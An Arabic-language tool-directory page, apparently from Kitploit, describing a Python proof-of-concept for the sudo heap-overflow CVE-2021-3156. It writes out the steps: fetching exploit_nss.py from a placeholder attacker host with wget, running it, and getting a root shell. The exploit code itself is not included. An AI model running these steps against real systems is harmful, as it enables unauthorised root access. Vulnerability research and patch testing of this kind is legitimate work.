Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Review.CVE-2021-3156 — أداة استغلال إثبات مفهوم بلغة Python للثغرة CVE-2021-3156 (Baron Samedit)، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة (heap overflow) في sudoedit تتيح تصعيد الامتيازات محليًا إلى root على إصدارات sudo المصابة. | Kitploit
أدوات/GitHubGitHub/constantinefedorov/review.cve-2021-3156
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمراستغلال الملفات الثنائية
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

أداة استغلال إثبات مفهوم بلغة Python للثغرة CVE-2021-3156 (Baron Samedit)، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة (heap overflow) في sudoedit تتيح تصعيد الامتيازات محليًا إلى root على إصدارات sudo المصابة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

👑 CVE-2021-3156 (Baron Samedit) — تصعيد الامتيازات عبر تجاوز سعة الكومة في sudo

📅 التاريخ: 2025-06-08
✍️ المؤلف: @TopskiyPavelQwertyGang 🧠 باحث أمني | متحمس للفريق الأحمر


🧠 نظرة عامة على CVE

  • CVE-ID: CVE-2021-3156
  • النوع: تجاوز سعة المخزن المؤقت على الكومة (Heap-based Buffer Overflow)
  • المكوّن: sudoedit (sudo)
  • مستوى الوصول: محلي
  • الهدف: الحصول على صلاحيات root

🧠 الوصف

يسمح تجاوز سعة الكومة (Heap-overflow) في sudoedit للمستخدم المحلي بالحصول على وصول root
عند تنفيذ الأمر sudoedit بمعاملات مُعدّة مسبقًا.

الاستغلال فعّال للإصدارات sudo < 1.9.5p2، بما في ذلك صور Ubuntu/Debian/CentOS الشائعة.
حتى مع تفعيل ASLR تبقى الثغرة قابلة للاستغلال.


🐾 شروط الاستغلال

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (уязвим)
ASLR   : 2 (включён)

🧪 تحضير البيئة

  1. تم التحقق من إصدارات glibc وsudo:
ldd --version
sudo --version
  1. تم نقل سكربتات PoC من جهاز آخر عبر خادم HTTP مدمج:
python3 -m http.server 80
  1. على الجهاز الهدف يتم تنزيل PoC وتنفيذها:
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 استغلال ناجح لـ PoC

$ python3 exploit_nss.py
# whoami
root

🧾 الخاتمة

يبقى استغلال CVE-2021-3156 ممكنًا حتى مع تفعيل ASLR، إذا كان glibc ≥ 2.26 وإصدار sudo عرضة للثغرة.
تبيّن أن أكثر ما كان استقرارًا هو استغلال exploit_nss.py، الذي ينجح من المحاولة الأولى عند تكوين NSS بشكل صحيح.

🧨 النظام تحت السيطرة.


تنزيل الأداة